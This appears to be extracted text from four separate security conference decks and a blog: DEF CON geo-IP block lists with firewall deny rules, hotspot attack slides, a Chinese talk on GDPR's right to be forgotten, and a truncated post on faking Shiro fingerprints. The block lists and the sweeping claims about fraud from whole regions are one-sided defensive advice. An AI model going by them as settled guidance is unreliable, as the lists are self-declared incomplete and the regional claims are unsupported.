202.4.128.0 - 202.4.159.255
202.4.252.0 - 202.4.255.255
202.90.0.0 - 202.90.3.255
202.90.252.0 - 202.91.3.255
202.91.128.0 - 202.91.131.255
202.92.0.0 - 202.92.3.255
202.92.252.0 - 202.93.3.255
202.93.252.0 - 202.93.255.255
202.94.0.0 - 202.94.31.255
202.95.0.0 - 202.95.31.255
202.95.252.0 - 202.122.39.255
203.128.128.0 - 203.128.159.255
203.184.0.0 - 203.184.3.255
203.192.0.0 - 203.192.31.255
203.196.0.0 - 203.196.3.255
203.207.64.0 - 203.208.19.255
203.212.0.0 - 203.212.15.255
Korea Only (with APNIC and
Korea Only (with APNIC and
ARIN IP space)*
ARIN IP space)*
*List not guaranteed to be complete or accurate, caveat emptor
202.14.165.0 - 202.14.165.255
202.189.128.0 - 202.189.191.255
202.20.119.0 - 202.20.119.255
202.20.128.0 - 202.20.255.255
202.20.82.0 - 202.20.86.255
202.20.99.0 - 202.20.99.255
202.21.0.0 - 202.21.7.255
202.30.0.0 - 202.31.255.255
202.6.95.0 - 202.6.95.255
203.224.0.0 - 203.255.255.255
210.178.0.0 - 210.183.255.255
210.204.0.0 - 210.207.255.255
210.216.0.0 - 210.223.255.255
210.80.96.0 - 210.80.111.255
210.90.0.0 - 210.127.255.255
211.104.0.0 - 211.119.255.255
211.168.0.0 - 211.255.255.255
211.32.0.0 - 211.63.255.255
218.144.0.0 - 218.159.255.255
218.232.0.0 - 218.239.255.255
218.36.0.0 - 218.39.255.255
218.48.0.0 - 218.55.255.255
219.240.0.0 - 219.241.255.255
219.248.0.0 - 219.255.255.255
220.64.0.0 - 220.92.255.255
61.248.0.0 - 61.255.255.255
61.32.0.0 - 61.43.255.255
61.72.0.0 - 61.87.255.255
128.134.0.0 - 128.134.255.255
129.254.0.0 - 129.254.255.255
132.16.0.0 - 132.16.255.255
134.75.0.0 - 134.75.255.255
137.68.0.0 - 137.68.255.255
141.223.0.0 - 141.223.255.255
143.248.0.0 - 143.248.255.255
147.43.0.0 - 147.43.255.255
147.46.0.0 - 147.47.255.255
147.6.0.0 - 147.6.255.255
150.150.0.0 - 150.150.255.255
150.183.0.0 - 150.183.255.255
150.197.0.0 - 150.197.255.255
152.149.0.0 - 152.149.255.255
152.99.0.0 - 152.99.255.255
154.10.0.0 - 154.10.255.255
155.230.0.0 - 155.230.255.255
156.147.0.0 - 156.147.255.255
157.197.0.0 - 157.197.255.255
158.44.0.0 - 158.44.255.255
161.122.0.0 - 161.122.255.255
163.152.0.0 - 163.152.255.255
163.180.0.0 - 163.180.255.255
163.239.0.0 - 163.239.255.255
164.124.0.0 - 164.125.255.255
165.132.0.0 - 165.133.255.255
165.141.0.0 - 165.141.255.255
165.186.0.0 - 165.186.255.255
165.194.0.0 - 165.194.255.255
165.213.0.0 - 165.213.255.255
165.229.0.0 - 165.229.255.255
165.243.0.0 - 165.244.255.255
165.246.0.0 - 165.246.255.255
166.103.0.0 - 166.104.255.255
166.125.0.0 - 166.125.255.255
166.79.0.0 - 166.79.255.255
168.115.0.0 - 168.115.255.255
168.126.0.0 - 168.126.255.255
168.131.0.0 - 168.131.255.255
168.154.0.0 - 168.154.255.255
168.188.0.0 - 168.188.255.255
168.219.0.0 - 168.219.255.255
168.248.0.0 - 168.249.255.255
168.78.0.0 - 168.78.255.255
169.140.0.0 - 169.140.255.255
192.100.2.0 - 192.100.2.255
192.104.15.0 - 192.104.15.255
192.132.15.0 - 192.132.15.255
192.132.247.0 - 192.132.251.255
192.195.39.0 - 192.195.40.255
192.203.138.0 - 192.203.146.255
192.245.249.0 - 192.245.251.255
192.249.16.0 - 192.249.31.255
192.5.90.0 - 192.5.90.255
198.178.187.0 - 198.178.187.255
202.14.103.0 - 202.14.103.255
Riseaux
Riseaux IP
IP Europeens
Europeens (RIPE)
(RIPE)
Covers Europe, the Middle East and Central
Asia
Not as effective to block country by country
as many blocks cover multiple countries
(Multinational ISPs, companies, etc)
Also hard to block wholesale as a lot of
global companies based in Europe
There are a few troublesome countries worth
blocking (Russia, Bulgaria, Romania)
RIPE
RIPE IPs
IPs to block*
to block*
89.0.0.0/8
90.0.0.0/8
91.0.0.0/8
193.0.0.0/8
194.0.0.0/8
195.0.0.0/8
212.0.0.0/8
213.0.0.0/8
217.0.0.0/8
80.0.0.0/8
81.0.0.0/8
82.0.0.0/8
83.0.0.0/8
84.0.0.0/8
85.0.0.0/8
86.0.0.0/8
87.0.0.0/8
88.0.0.0/8
*List not guaranteed to be complete or accurate, caveat emptor
LACNIC
LACNIC
Latin America and Caribbean
Many organizations / entities may still
use ARIN addresses
Brazil and Argentina are worst offenders
Border companies may want to leave in
Mexico
LACNIC
LACNIC IPs
IPs to block*
to block*
189.0.0.0/8
190.0.0.0/8
200.0.0.0/8
201.0.0.0/8
*List not guaranteed to be complete or accurate, caveat emptor
Complete Brazilian List with
Complete Brazilian List with
ARIN assignments
ARIN assignments
139.82.0.0/16
143.54.0.0/16
143.106.0.0/15
143.108.0.0/16
144.23.0.0/16
146.134.0.0/16
146.164.0.0/16
147.65.0.0/16
150.161.0.0/16
150.162.0.0/15
150.164.0.0/15
152.84.0.0/16
152.92.0.0/16
155.211.0.0/16
157.86.0.0/16
161.24.0.0/16
161.79.0.0/16
161.148.0.0/16
164.41.0.0/16
164.85.0.0/16
170.66.0.0/16
192.80.209.0/24
192.111.229.0/24
192.111.230.0/24
192.132.35.0/24
192.146.157.0/24
192.146.229.0/24
192.147.210.0/24
192.147.218.0/24
192.153.88.0/24
192.153.120.0/24
192.153.155.0/24
192.159.116.0/23
192.160.45.0/24
192.160.50.0/24
192.160.111.0/24
192.160.128.0/24
192.160.188.0/24
192.188.11.0/24
192.190.30.0/23
192.195.237.0/24
192.198.8.0/21
192.207.194.0/23
192.207.200.0/22
192.207.204.0/23
192.207.206.0/24
192.223.64.0/18
192.231.114.0/23
192.231.116.0/22
192.231.120.0/23
192.231.175.0/24
192.231.176.0/24
198.17.120.0/23
198.17.231.0/24
198.17.232.0/24
198.49.128.0/22
198.49.132.0/23
198.50.16.0/21
198.58.8.0/22
198.58.12.0/24
198.184.161.0/24
200.0.8.0/21
200.0.0.0/16
200.3.0.0/16
200.5.0.0/16
200.6.0.0/16
200.7.0.0/16
200.9.0.0/16
200.10.0.0/16
200.11.0.0/16
200.12.0.0/16
200.12.0.0/16
200.13.0.0/16
200.14.0.0/16
200.17.0.0/16
201.0.0.0/11
201.32.0.0/12
206.221.80.0/20
AfriNIC
AfriNIC
A lot of fraud and phishing based here
Not much legitimate commerce (except
for energy companies)
Since this is new, many assignments
still come from RIPE address space
AfriNIC
AfriNIC IPs
IPs to Block
to Block
41.0.0.0/8
Geo
Geo--IP Blocking Strategies
IP Blocking Strategies
The Shotgun Approach
Block Entire RIR address space
Pros: Easy and Quick
Cons: Might block some countries or areas
you want.
Example: Australian and New Zealand sites
use APNIC address space
Geo
Geo--IP Blocking Strategies
IP Blocking Strategies
The Rifle Approach
Block by specific country assignments
Pros: Less likely to block wanted traffic
Cons: Time consuming, have to keep configs
up to date, some assignments not country
specific
Limited Geo
Limited Geo--IP Blocking
IP Blocking
Strategies
Strategies
Block all protocols but mail (no spam benefit)
Block all except web server and mail
Block on all private LAN segments but not
DMZ (no spam or public server exploits
benefits)
More Limited Geo
More Limited Geo--IP Blocking
IP Blocking
Block only interactive services (Telnet, SSH,
VNC, Terminal services)
Block only on specialized servers (VPN,
database)
Block RIR but allow certain ISP and hotel
webspace (to allow for VPN access)
IP Chains Geo IP Blocking
IP Chains Geo IP Blocking
Example
Example
ipchains -I input -s 58.0.0.0/8 -j DENY
Cisco Geo IP Blocking
Cisco Geo IP Blocking
Example
Example
access-list 101 deny ip 58.0.0.0 0.0.0.255 any
SonicWall
SonicWall Geo IP Blocking
Geo IP Blocking
Example
Example
Geo
Geo--IP Blocking Automation
IP Blocking Automation
Ip.ludost.net has a script that will generate
country specific lists for importing into a IP
Tables format
There are companies now that will do this
work for you, producing a file for importing
into your configs
Used by large websites, search engines,
some ISPs
Resources
Resources
Bob’s IP blocking list
(http://www.unixhub.com/block)
IP to Country Database at Ludost.net
(http://ip.ludost.net)
Questions / Comments / Abuse?
Questions / Comments / Abuse?
Email me at [email protected]
The presentation will be posted to :
www.netsecuritysvcs.com/defcon13/ | pdf |
The Risks and Vulnerabilities Associated with Wireless Hotspots
Michael Sutton <[email protected]>
Pedram Amini <[email protected]>
Hacking The Invisible Network
iDEFENSE
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Purpose
•
Study security from two points
of view
– Providers
– End users
•
A variety of implementations
– Cafés
– Hotels
•
Tools
– Laptops, Dell Axim
– Hermes and Prism chipsets
– Various software tools
– Tolerant bladder
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
WISPs
Wireless Internet Service Providers
–
aka Hotspots
What are they?
•
Where are they?
–
Airports
–
Hotels
–
Retail stores
–
Coffee Shops
•
Why go wireless?
–
Cost
–
Convenience
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Industry
• Startups
– Boingo
– WayPort
– NetNearU
– HotSpotzz
– Airpath Wireless
– Surf and Sip
– HereUAre
– Deep Blue Wireless
– Joltage (defunct)
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Industry (cont’d)
• Telecomm
– T-Mobile
– AT&T (Cometa)
– Sprint (Boingo)
• Hardware
– Intel (Cometa)
– IBM (Cometa)
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Provider Risks
• Business risks
– Financial loss
– Launch pad for anonymous attacks
• Network level attacks
– Privacy
– Confidentiality
– Data integrity
• Denial of service attacks
– Availability
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
End User Risks
•
Node vs. Network level security
–
“Crunchy on the outside, Chewy on the inside”
•
Untrusted networks
–
Intranet safe services
–
Information leakage
–
Spoof attacks
•
End user awareness
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Security Implementations
•
Access control
–
Firewall restricts connectivity
–
Web requests redirected to login screen
–
Authentication takes place over SSL
–
Internet access is granted
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Security Implementations (cont’d)
Internet
Access
Point
User 1
User 2
Web Server
Internet
Access
Point
User 1
User 2
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Security Implementations (cont’d)
• IP address filtering
– Everyone
• MAC address filtering
– T-Mobile
• IPSec VPN
– Deep Blue Wireless
– Optional
• DHCP lease expiration
– ?
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Revenue Loss
•
Tunneling data through unfiltered protocols
–
Bypassing access controls
•
Connection hijacking
–
Stealing legitimate connections
•
Connection sharing
–
Multiple unauthorized connections piped through
one legitimate connection
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Tunneling
Internet
Loki
Server
Firewall
Gateway
Access
Point
External
Sites
Loki
Client
ICMP Traffic
IP Traffic
IP Traffic
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Internet
Access
Point
Target
IP Y.Y.Y.Y
MAC Y:Y:Y:Y:Y:Y
Permitted
Attack
IP Y.Y.Y.Y
MAC Y:Y:Y:Y:Y:Y
Blocked
Internet
Access
Point
Target
IP Y.Y.Y.Y
MAC Y:Y:Y:Y:Y:Y
Permitted
Attack
IP Y.Y.Y.Y
MAC Y:Y:Y:Y:Y:Y
Permitted
Internet
Access
Point
Target
IP Y.Y.Y.Y
MAC Y:Y:Y:Y:Y:Y
Blocked
Attack
IP X.X.X.X
MAC X:X:X:X:X:X
Permitted
Connection Hijacking
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Connection Sharing
Internet
Access
Point
Share 1
Share 2
Router
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Network Level Attacks
•
Traffic monitoring
–
Passive attack
•
DNS Hijacking
–
Active attack
•
Man in the middle
attacks
•
Auto update
hijacking
•Public IP addresses
– WayPort
– Remote attack
•ARP Spoofing
– Active attack
•Network crossover
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
WayPort Layout
Internet
64.134.81.168
Linux
Wayport
Wayport
64.134.81.129
Gateway
Access Points
64.134.81.169
Windows
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Denial of Service Attacks
•
Physical layer (1)
–
Interference
•
Data layer (2)
–
ARP spoofing
•
Network layer (3)
–
AirJack
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
End User Countermeasures
•
VPN
•
Encryption w/ validation
•
O/S hardening
•
Node level firewall/IDS
•
Dedicated travel hardware
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Improved WISP Security
•
Non Internet addressable IPs
–
Network Address Translation (NAT)
•
Filter all protocols
•
802.1x
•
Intrusion Detection System (IDS)
–
Spoof detection (ARP, IP, DNS, …)
•
Intrusion Prevention System (IPS)
Copyright © 2003 iDEFENSE Inc.
iDEFENSE
Questions? | pdf |
1
從GDPR看言論自由與被遺忘權
中華民國電腦稽核協會 Computer Audit Association
國際電腦稽核協會 台灣分會 ISACA Taiwan Chapter
[email protected]
Hacks in Taiwan Conference Community 2018
2
報告人簡歷
1
3
2
姓名
張紹斌
經歷
司法官班第33期結業
智慧財產及電腦犯罪專組主任檢察官
東吳法研所科技法律組兼任助理教授
行政院資通安全稽核委員
司法官學院講座
學歷
政治大學法律學系學士
交通大學科技法律研究所碩士
廈門大學知識產權研究院博士生
4
現職
中華民國電腦稽核協會理事長
合盛法律事務所律師
[email protected]
3
目錄
CONTENTS
從數位紋身發韌的隱私思考
被遺忘權起源及涉及之權利主體
人格權財產價值
被遺忘權與表現自由之調和
結論與建議
4
從數位紋身發韌的隱私思考
被遺忘權之起源
5
數位記憶對隱私的衝擊
1945
1
Vannevar
Bush,在大
西洋月刊裡發
表機器複製及
擴增人類記憶
之文章
1998
2
J.D.Lasica 在
網路上發表
「網路永遠不
會忘記」之文
章
2009
3
Gordon Bell
在Total recall
書中,主張
「電子記憶革
命」能完全改
變世界
2015
4
反之,Viktor
Mayer-
Schönberger
害怕滴水不露
的數位記憶,
可能造就數位
版的圓形監獄
6
被遺忘權之起源
案件
歐盟法院Google Spain SL ,Google Inc. VS Agencia Española
de Protección de Datos(AEPD), Mario Costeja González
(2014)案判決
被遺忘權一詞係 Costeja González 所提出及主張,西班牙高等
法院亦請求歐盟法院就 Costeja González 是否有被遺忘權為先
決裁判,然而歐盟法院在判決理由內並未提及被遺忘權一詞
歐盟 2018 年 5 月 25 日生效之 GDPR 第 17 條,其條文名稱直
接標明為「刪除權(被遺忘權)」,明文承認被遺忘權權利存在
當事人
GDPR
7
歐盟法院與GDPR關於被遺忘權比較
歐盟法院
1. 被遺忘權行使對象:限定在
搜尋引擎業者
2. 行使之客體:限定在刪除搜
尋引擎搜尋結果之連結
3. 行使之例外:
A. 是否基於歷史、統計或科學
目的而需要保留此個人資料
B. 是否有特別理由證明公眾獲
取該個人資料具有優勢利益。
其中所舉特別理由之例子為
個人資料主體在公共領域中
擔任特定角色
GDPR
1. 被遺忘權行使對象:包含搜尋引擎
業者、網路平台業者
2. 行使之客體:包含刪除搜尋引擎搜
尋結果之連結、刪除個人資料本身
3. 行使之例外:
第17條第3項規定之態樣:
A. 為了行使表現自由權及資訊自由權之
必要範圍內
B. 依據法律
C. 為了公共健康
D. 為了儲存檔案之目的
E. 為了科學、歷史研究目的或統計目的
F. 為了法律上請求之主張、行使或防禦
更加細緻化地規定,以調和被遺忘權與其
他基本權利之衝突
8
美國關於被遺忘權之實務
• 著重言論自由,法院目前見解不承認被遺忘
權存在
• 僅有加州未成年人在數位世界之隱私權法有
限度地承認被遺忘權,惟規定僅保護18歲以
下之未成年人,且未成年人只能要求刪除自
己張貼之內容或資訊,至於第三人重新張貼
未成年人前所張貼之內容或資訊,則無法要
求刪除
9
中國大陸關於被遺忘權之實務
• 中國大陸目前尚未立法承認被遺忘權,北京
市第一中級人民法院在「任甲玉」與百度民
事訴訟案,雖不採納原告被遺忘權之主張,
然提出3個判斷標準:
1. 非類型化權利涵蓋之利益
2. 具有利益的正當性
3. 具有保護的必要性
• 不能排除此3個判斷標準可作為將來被遺忘
權案件之判決標準
10
日本關於被遺忘權之實務
• 目前亦未立法承認被遺忘權,最高裁判所在逆轉事件
裁判,可認為係承認被遺忘權
• 最高裁判所在2017年(平成29年)1月31日搜尋引擎
業者案件,就隱私權與表現自由間衝突之衡量,提出
下列判斷標準:
1. 個人資料內容之性質
2. 因提供連結,該個人資料被傳送之範圍及個人資料主體受
到具體的損害程度
3. 個人資料主體社會地位或影響力
4. 個人資料刊登、利用之目的或意義及其必要性
5. 個人資料刊登、利用當時之社會狀況與其後之變化
6. 個人資料內容顯示個人資料主體之行為,是否受到社會的
強烈非難,及該行為是否係以刑罰禁止
因此日本法院並未完全否定被遺忘權存在,上開考量
因素亦可作為將來被遺忘權案件之判決標準
11
我國關於被遺忘權之實務案例
12
我國關於被遺忘權之實務案例 1
• 施建新訴Google案(搜尋引擎業者)
1. 臺北地方法院103年訴字第2976號民事判決
2. 2017.7.7 臺北地方法院104年度訴更一字第31號民事判決
3. 2018.6.20 高等法院106年度上字第1160號民事判決
• 周宗源訴蘋果日報案(原出版者)
• 施建新訴自由時報案(原出版者)
13
我國關於被遺忘權之實務案例 2
• 臺北地方法院103年訴字第2976號民事判決
1. Google Inc.並非經濟部所許可營業的公司, Google 台
灣分公司與 Google Inc.分屬不同法人格,而 Google
Inc.未授權 Google 台灣分公司管理 Google 搜尋引擎之
權能;不能因為在我國得使用 Google 搜尋服務就推論
Google 搜尋引擎之資料之蒐集、處理行為在我國為之。
被告Google 台灣分公司就本案訴訟標的並無實施權能,
本案當事人不適格
2. 民法 191-1 條之規範對象並不包括「服務提供者」;且
消保法的保護法益限於生命、身體、健康、財產,而不
及於名譽權、隱私權,原告的主張不可採。原告於第一
次言詞辯論期日後主張追加 Google Inc.為當事人,法院
仍以不符合追加之要件駁回
14
我國關於被遺忘權之實務 3
• 施建新訴Google案(106年度上字第1160號)
• 高等法院衡量標準:
1. 搜尋結果所連結內容之資訊目的
2. 公開資訊之目的及其社會意義
3. 要求刪除事項之性質是否與公共利益有關
4. 公開資訊對被害人造成損害之程度
5. 個資主體以何種行為導致發生此種侵害
6. 個資主體是否為公眾人物
15
我國關於被遺忘權之實務 4
• 施建新訴Google案( 106年度上字第1160號)
• 高院認為敗訴理由:
1. 被告自願為眾所周知之公眾人物,本受一般民眾較大之關
注,其隱私權保障範圍自應為退縮
2. 假球案為我國職棒發展史上重要的歷史事件,始終為國內
外關注之公共事務
3. 未揭露經濟資料、家人姓名或使其家人暴露於危險之資料
4. 搜尋引擎保障公眾知的權利,促進民主進步與發展,具有
公共利益
5. 文章內容正確性無爭議,且具實現公眾之言論自由表現,
並滿足群眾對於知之需求之特定目的未消失,不符個資法
第11條第3項規定
16
被遺忘權之其他法制實務
•
歐盟電子商務指令、美國數位千禧年著作權法、
中國大陸侵權責任法第36條、信息網絡傳播權
保護條例及日本Provider責任限制法對於網路服
務提供者,均採取限制責任的態度,並均有類似
之通知、取下義務規定
•
此等規定如可應用在被遺忘權之行使,使被遺忘
權權利人無須針對個別網頁內容發布者查察與訴
追,可直接通知網路平台業者、搜尋引擎業者刪
除內容或刪除連結,亦可引為保護被遺忘權之規
定
17
被遺忘權涉及之權利主體
18
18
搜尋引擎業者
網路平台業者
刊登個人資料主體之
個人資料之第三人
個人資料主體本身(個資當事人)
19
被遺忘權涉及之主體
01
02
03
04
第三人僅單純重新張貼個
人資料主體前張貼之個人
資料未自己再添加想法、
論述等,難認有侵害其表
現自由。依個資法第19條
之規定,個人資料雖取自
於一般可得之來源,但蒐
集仍需有特定目的,因此
並非任意第三人之蒐集均
有符合特定目的;且第三
人重新張貼之行為,屬於
個人資料之利用,依個資
法第20條之規定,原則上
未經個人資料主體同意不
能加以利用。應有權請求
第三人刪除該個人資料
第三人張貼資料類型
基於個資當事人之個資有
自決權,且參酌個資法第
5條亦規定個人資料之蒐
集、處理或利用,應尊重
當事人之權益。因此個人
資料主體應可請求網路平
台業者刪除或停止利用其
個人資料
個資主體自行公開類型
搜尋引擎業者預先、大量
抓取網路上的資料,廣泛
預先蒐集他人個人資料,
有無違目的限制原則、資
料最少蒐集原則、目的拘
束原則?
若為網路服務提供者與使
用者間係私法上的契約關
係。且多數網路服務提供
者具營利性質,大多係直
接或間接利用個人資料獲
利
搜尋引擎業者揭露類型
第三人在網路上張貼有關
某個人資料主體之評論,
及新聞媒體在其網站上刊
登有關個人資料主體之新
聞,即涉及到與表現自
由之間的衝突,爭議最大,
需進一步探討以何判斷標
準決定何權利勝出,及如
何調和兩者間之衝突
以新聞媒體刊登類型
20
被遺忘權行使之程度
刪除本文
刪除資料庫所有資料
刪除超連結
21
人格權的財產價值
22
人格權之財產價值
01
人格權因具有一身專屬性,而具有不可讓與性、不可繼承性
02
美國法上 Right of Publicity(個人公開權)、德國聯邦最高法院,均
承認人格權之財產價值,而得讓與及繼承
03
我國繼受大陸法系,於近幾年仍舊遵循上開人格權之傳統見解,其後最
高法院104年度台上字第1407號判決,首次承認姓名、肖像等人格特徵
之財產價值,而得繼承,然未一併論及繼承之權利保護期間、可讓與性
及如何行使權利
傳統
見解
美國
實務
我國
現況
23
人格權之財產價值與數位遺產
facebook
人格權
數位遺產
未成年
成年
Facebook 使用者過世後,繼承人可
否繼承本人帳號,查看本人訊息
平台營運者或是服務提供者有權利讓他們登入嗎?死
者在 Facebook 等社群網路上可能有一群朋友,這些人
和死者分享資訊,而不是和死者的親友分享資訊
柏林地區法院法官判決 Facebook 帳號算是未成年子女的「數位遺產」,而數位遺產應該要
和實體遺產一樣都可以被繼承,否則就會發生人們可以繼承死者的書信和日記,但卻無法
繼承他們的電子郵件和 Facebook 帳號這樣不合理的情況
24
被遺忘權與表現自由
25
兩者調和判斷方法:公共利益
此兩號解釋,就細節部分或有不同,然判斷權利間衝突之衡量標準,
均不脫離「公共利益」此要件。被遺忘權既屬於人格權之一種,應
參酌此兩解釋,以「公共利益」來衡量、調和被遺忘權與言論自由、
新聞自由間之衝突
03
釋字第689號探討的客體,係社會秩序維護法第89條第2款無正當理
由跟追他人,經勸阻不聽之處罰之合憲性,係以報導內容之「公益
性」、「具有新聞價值」,及跟追行為是否「逾越依社會通念所認
不能容忍之界限」來衡量、調和新聞自由及身體權、自由權、隱私
權等人格權及個人資訊自決權之衝突
02
釋字第509號探討的客體,係以刑法第310條誹謗罪之合憲性,透過
「真實性」及「公共利益」來衡量、調和言論自由及人格權、名譽
權之衝突
01
26
判斷公共利益應考慮之重要因素
被遺忘權並未禁止、限制他人一開
始於網站刊登特定人個人資料,亦
未禁止、限制他人24小時全年無
休、持續不斷發布該個人資料,不
斷行使言論自由、新聞自由;僅要
求在一段時間過後,例如30年、
40年後禁止再行發布該個人資料。
此時「新聞」已經變成舊聞、歷史,
原出版者可能也已去世,或自己亦
遺忘曾經刊登過該個人資料,甚至
被悄然刪除其張貼之個人資料,亦
不知道、無感,此時甚難說該人在
30年、40年後仍有意識地行使其
言論自由或新聞自由
發佈時間
應重視時間經過這個重要因
素,以他人於網站刊登特定
人個人資料為例,其第一次
於網站刊登特定人個人資料,
縱認係符合公共利益,然30
年、40年後可能就不符合公
共利益,例如當時係演藝人
員,30年、40年後已脫離演
藝圈甚久
持續時間
27
判斷公共利益之研究心得
判斷公共利益因素
我國、歐盟法院、中國大陸、日本
法院判決實務、歐盟資料保護工作
小組指導方針、GDPR規定……
一.
個人資料主體是否為未成年人
二.
個人資料主體社會地位或影響力
三.
該個人資料是否具歷史意義或社會意義
四.
該個人資料是否可以保護民眾免於不適當的公眾或專業的
行為
五.
該個人資料是否為真正的隱私
六.
該個人資料是否仍係公眾關注或辯論的主題
七.
該個人資料是否會置個人資料主體或其家庭成員於危險中
八.
個人資料如係犯罪行為,其輕重程度
九.
是否係為了科學或統計或公共健康之目的
十.
該個人資料是否會妨礙個人資料主體更生
十一. 該個人資料所涉及者是否僅為特定人之個人權益
十二. 該個人資料是否會對公眾產生廣泛影響
28
判斷公共利益後之再調和
• 經判斷結果符合公共利益,並非指
對於已公開、刊登之個人資料不得
為任何主張,可再為進一步之調和,
例如雖然仍需刊登該個人資料,惟
可隱匿個人資料主體之姓名、去識
別化,僅於「必要範圍內」公開、
刊登個人資料,亦即非只要符合公
共利益,就可鉅細靡遺地公開特定
個人資料主體之個人資料
公共利益與去識別化
29
有效保護被遺忘權之方式 1
被遺
忘權
1
2
3
著作權法之網路服務提供者限制責任
個人資料主體欲刪除之個人資料,如係個人資
料主體以文學性或具有原創性之方式揭露有關
隱私或個人資料之內容,有可能適用我國著作
權法通知、取下義務之規定
若認欲刪除之個人資料未具著作權之要件,著作權法第
90條之10則係規定網路服務提供者對涉有侵權之使用者
之限制責任,未增加網路服務提供者之義務,為鼓勵網
路服務提供者於主動或經個人資料主體通知而知悉可能
符合被遺忘權要件時,採取適當之措施,似有類推適用
之必要及可能
30
有效保護被遺忘權之方式 2
01
02
03
消費者保護法定型化契約應記載事項
網路服務提供者與使用者之間,係屬私法上的契約關係,網路服
務提供者多有公告其服務條款
依消保法第17條,中央主管機關報請行政院核定後公告之定型化契約
應記載或不得記載事項,其中應記載之事項,雖未記載於定型化契約,
仍構成契約之內容。因此中央主管機關可將被遺忘權之定義、要件及
網路服務提供者得依據個人資料主體通知後移除或使他人無法進入該
個人資料之內容等,規定為網路服務提供者服務條款之應記載事項;
此時縱使網路服務提供者之服務條款未規定,仍構成契約之內容,使
網路服務提供者得依據該規定刪除個人資料主體以外之人所張貼、刊
登之個人資料內容,或刪除連結
31
有效保護被遺忘權之方式 3
信息網絡傳播權保護條
例(大陸2013.3.1)
法院組織法第83條
在被遺忘權訴訟案件之裁
判書,雖不符合第1項但
書可不公開個人資料主體
姓名、案件內容等全部資
料,可依第2項之規定,
在公開個人資料主體姓名
下,不予公開個人資料主
體所欲刪除之個人資料,
如此不特定第三人始無法
藉由查詢裁判書之方式,
再次記起個人資料主體所
欲刪除之個人資料
法院組織法第86條
在被遺忘權訴訟案件之審
理程序,法院宜依本條但
書規定,不予公開審理,
以避免旁聽之人得知個人
資料主體所欲刪除之個人
資料
適用結果
如法院能運用法院組織法
上開兩規定,應可適度避
免史翠珊效應,避免個人
資料主體本欲他人遺忘其
個人資料,然經由公開審
理、公開裁判書方式,反
而造成更多人知悉該個人
資料
32
被遺忘權行使權利之方式
• 網路平台業者提供大量他人個人資
料創造瀏覽量,吸引廣告主支付一
定價金,賺得廣告收益,此與美國
公開權、德國聯邦法院所適用案例
之特徵相當,應認得主張不當得利
請求權
• 然所謂應返還之利益,可能係指就
個人資料之使用,相當於授權金之
報酬,因此不能請求返還商業使用
獲得之利益,如此不足以合理保護
被遺忘權,如經被遺忘權權利人通
知移除相關個人資料,仍故意擅自
繼續使用該個人資料作為商業使用
時,應符合民法第177條第2項不法
管理之要件,權利人得請求扣除必
要支出後返還商業使用獲得之一切
利益
2.不當得利及無因管理
1.刪除權
• 依民法第18條第1項請求刪除,或依據個資法
第11條第3項、第4項、第19條第2項規定,請
求刪除、停止處理或利用該個人資料,兩者為
請求權競合之關係
3.非財產上損害賠償請求權
• 容許主張被遺忘權之案例,通常已嚴重影響權
利人名譽、信用等,甚至在社會中生存之可能,
因此難謂非情節重大,是被遺忘權可認為屬於
民法第195條第1項前段所稱其他人格法益,而
容許權利人得主張非財產上之損害,向加害人
請求慰撫金
33
敬請指導
2018 | pdf |
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
1/6
depy
让你的php网站拥有shiro
2021年10月28日 / 网络安全
前言
很久很久以前freebuf发过一篇通过shiro反序列化拿下php网站的文章后,我大
受震撼,震撼到今天。
我今天花了一下午摸鱼做这个实验。实验非常简单,也就是我们如何让php网站
收到shiro探测的请求后让工具或脚本认为这是一个有shiro框架的网站?如何收
到密钥爆破检测请求的时候,通过请求的字段值来与后端密钥做匹配,更加逼真的
还原密钥爆破的场景,从而让脚本小子继续误入歧途?
Shiro框架指纹
shiro常见的指纹是通过请求包设置cookie中一个值为RememberMe=xxx,返
回到有相应的Set-Cookie: rememberMe=deleteMe。这是最常见的指纹了,
我们的目的是防御,而不是攻击,所以设置一个最常见的即可。
这里我拿j1anfen师傅的shiro测试工具来测试。通过原理,我们可以自己给网站
base文件或者中间件写这样的代码(这里以及下文都是以php网站为例)
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
2/6
php用$_COOKIE函数取值会使+号变成空格,这里通过headers遍历重新取值可
以解决这个问题。于是我们用j1anfen师傅的工具探测一下
发现已经可以让大多数工具认为我的网站是shiro框架了,但这还太简陋了。
Shiro框架密钥爆破原理
我们能不能更逼真点呢?
比如说我php网站后台指定一个密钥,你爆破密钥的时候必须和我php后台配置的
密钥一致,再设置相应的回显?
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
3/6
现在非常多的工具都是构造一个继承 PrincipalCollection 的序列化对象,key
正确情况下不返回 deleteMe ,key错误情况下返回 deleteMe 的方式来判断ke
y是否正确。
那么,当我们取值取到一个由密钥kPH+bIxk5D2deZiIxcaaaA==加密而来探测
的rememberme,我们后端配置的密钥也是kPH+bIxk5D2deZiIxcaaaA==,
我们应该怎么做呢?
首先,老版本的shiro是aes-cbc加密,padding是Pkcs7。上面key探测的方法
用到了反序列化,那么解密出来的数据一定会存在反序列化的特征
aced0005
所以我们可以给后台写一下php对于aes-cbc pkcs7的解密,一开始我对aes的加
密不是很熟悉。因为cbc模式下是有偏移量的,但我们并没有偏移量,让我困惑
了很久为什么一个密钥就可以进行反序列化。
还是万能的小何和我说的
2021/10/28
让你的php⽹站拥有shiro - depy
https://blog.happysec.cn/index/view/366.jsp
4/6
